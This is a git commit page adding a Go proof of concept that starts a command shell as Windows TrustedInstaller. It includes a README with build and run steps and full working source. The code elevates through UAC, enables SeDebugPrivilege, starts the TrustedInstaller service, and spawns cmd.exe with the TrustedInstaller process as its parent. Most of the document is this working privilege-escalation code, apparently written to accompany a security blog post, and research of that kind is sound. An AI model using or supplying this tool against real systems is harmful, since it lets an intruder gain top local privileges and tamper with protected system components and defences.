Add TrustedInstaller POC
This commit is contained in:
commit
ad6540b29f
5 changed files with 221 additions and 0 deletions
11
README.md
Normal file
11
README.md
Normal file
|
@ -0,0 +1,11 @@
|
|||
# TrustedInstaller
|
||||
A simple Proof of Concept in Golang to start a new shell as TrustedInstaller. This code accompanies FourCore's blog about TrustedInstaller. It is important to note that you need to run this as a user which has SeDebugPrivileges. Upon running, it will automatically ask for UAC in case you are not running as an Administrator.
|
||||
|
||||
Use the `RunAsTrustedInstaller` function to pass any executable to be run with TrustedInstaller privileges.
|
||||
|
||||
To run
|
||||
1. git clone the repository
|
||||
2. ensure you have go compiler installed
|
||||
3. You can either build a binary using `go build ti` or run it directly using `go run ti`
|
||||
|
||||
It will spawn a new cmd shell as TrustedInstaller which you can check by running `whoami /all`
|
120
functions.go
Normal file
120
functions.go
Normal file
|
@ -0,0 +1,120 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/svc/mgr"
|
||||
)
|
||||
|
||||
func openService(mgrHandle windows.Handle, name string) (*mgr.Service, error) {
|
||||
n, err := windows.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
h, err := windows.OpenService(mgrHandle, n, windows.SERVICE_QUERY_STATUS|windows.SERVICE_START|windows.SERVICE_STOP|windows.SERVICE_USER_DEFINED_CONTROL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &mgr.Service{Name: name, Handle: h}, nil
|
||||
}
|
||||
|
||||
func enableSeDebugPrivilege() error {
|
||||
var t windows.Token
|
||||
if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_ALL_ACCESS, &t); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var luid windows.LUID
|
||||
|
||||
if err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(seDebugPrivilege), &luid); err != nil {
|
||||
return fmt.Errorf("LookupPrivilegeValueW failed, error: %v", err)
|
||||
}
|
||||
|
||||
ap := windows.Tokenprivileges{
|
||||
PrivilegeCount: 1,
|
||||
}
|
||||
|
||||
ap.Privileges[0].Luid = luid
|
||||
ap.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED
|
||||
|
||||
if err := windows.AdjustTokenPrivileges(t, false, &ap, 0, nil, nil); err != nil {
|
||||
return fmt.Errorf("AdjustTokenPrivileges failed, error: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseProcessName(exeFile [windows.MAX_PATH]uint16) string {
|
||||
for i, v := range exeFile {
|
||||
if v <= 0 {
|
||||
return string(utf16.Decode(exeFile[:i]))
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getTrustedInstallerPid() (uint32, error) {
|
||||
|
||||
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer windows.CloseHandle(snapshot)
|
||||
|
||||
var procEntry windows.ProcessEntry32
|
||||
procEntry.Size = uint32(unsafe.Sizeof(procEntry))
|
||||
|
||||
if err := windows.Process32First(snapshot, &procEntry); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
for {
|
||||
if strings.EqualFold(parseProcessName(procEntry.ExeFile), tiExecutableName) {
|
||||
return procEntry.ProcessID, nil
|
||||
} else {
|
||||
if err = windows.Process32Next(snapshot, &procEntry); err != nil {
|
||||
if err == windows.ERROR_NO_MORE_FILES {
|
||||
break
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("cannot find %v in running process list", tiExecutableName)
|
||||
}
|
||||
|
||||
func checkIfAdmin() bool {
|
||||
f, err := os.Open("\\\\.\\PHYSICALDRIVE0")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
f.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
func elevate() error {
|
||||
verb := "runas"
|
||||
exe, _ := os.Executable()
|
||||
cwd, _ := os.Getwd()
|
||||
args := strings.Join(os.Args[1:], " ")
|
||||
|
||||
verbPtr, _ := syscall.UTF16PtrFromString(verb)
|
||||
exePtr, _ := syscall.UTF16PtrFromString(exe)
|
||||
cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
|
||||
argPtr, _ := syscall.UTF16PtrFromString(args)
|
||||
|
||||
var showCmd int32 = 1 //SW_NORMAL
|
||||
|
||||
if err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
os.Exit(0)
|
||||
return nil
|
||||
}
|
5
go.mod
Normal file
5
go.mod
Normal file
|
@ -0,0 +1,5 @@
|
|||
module ti
|
||||
|
||||
go 1.20
|
||||
|
||||
require golang.org/x/sys v0.5.0
|
2
go.sum
Normal file
2
go.sum
Normal file
|
@ -0,0 +1,2 @@
|
|||
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
83
main.go
Normal file
83
main.go
Normal file
|
@ -0,0 +1,83 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows/svc"
|
||||
"golang.org/x/sys/windows/svc/mgr"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
seDebugPrivilege = "SeDebugPrivilege"
|
||||
tiServiceName = "TrustedInstaller"
|
||||
tiExecutableName = "trustedinstaller.exe"
|
||||
)
|
||||
|
||||
func RunAsTrustedInstaller(path string, args []string) error {
|
||||
if !checkIfAdmin() {
|
||||
if err := elevate(); err != nil {
|
||||
return fmt.Errorf("cannot elevate Privs: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := enableSeDebugPrivilege(); err != nil {
|
||||
return fmt.Errorf("cannot enable %v: %v", seDebugPrivilege, err)
|
||||
}
|
||||
|
||||
svcMgr, err := mgr.Connect()
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot connect to svc manager: %v", err)
|
||||
}
|
||||
|
||||
s, err := openService(svcMgr.Handle, tiServiceName)
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot open ti service: %v", err)
|
||||
}
|
||||
|
||||
status, err := s.Query()
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot query ti service: %v", err)
|
||||
}
|
||||
|
||||
if status.State != svc.Running {
|
||||
if err := s.Start(); err != nil {
|
||||
return fmt.Errorf("cannot start ti service: %v", err)
|
||||
} else {
|
||||
defer s.Control(svc.Stop)
|
||||
}
|
||||
}
|
||||
|
||||
tiPid, err := getTrustedInstallerPid()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
hand, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_SET_INFORMATION, true, tiPid)
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot open ti process: %v", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command(path, args...)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
CreationFlags: windows.CREATE_NEW_CONSOLE,
|
||||
ParentProcess: syscall.Handle(hand),
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot start new process: %v", err)
|
||||
}
|
||||
|
||||
fmt.Println("Started process with PID", cmd.Process.Pid)
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
if err := RunAsTrustedInstaller("cmd.exe", []string{"/c", "start", "cmd.exe"}); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
Loading…
Add table
Reference in a new issue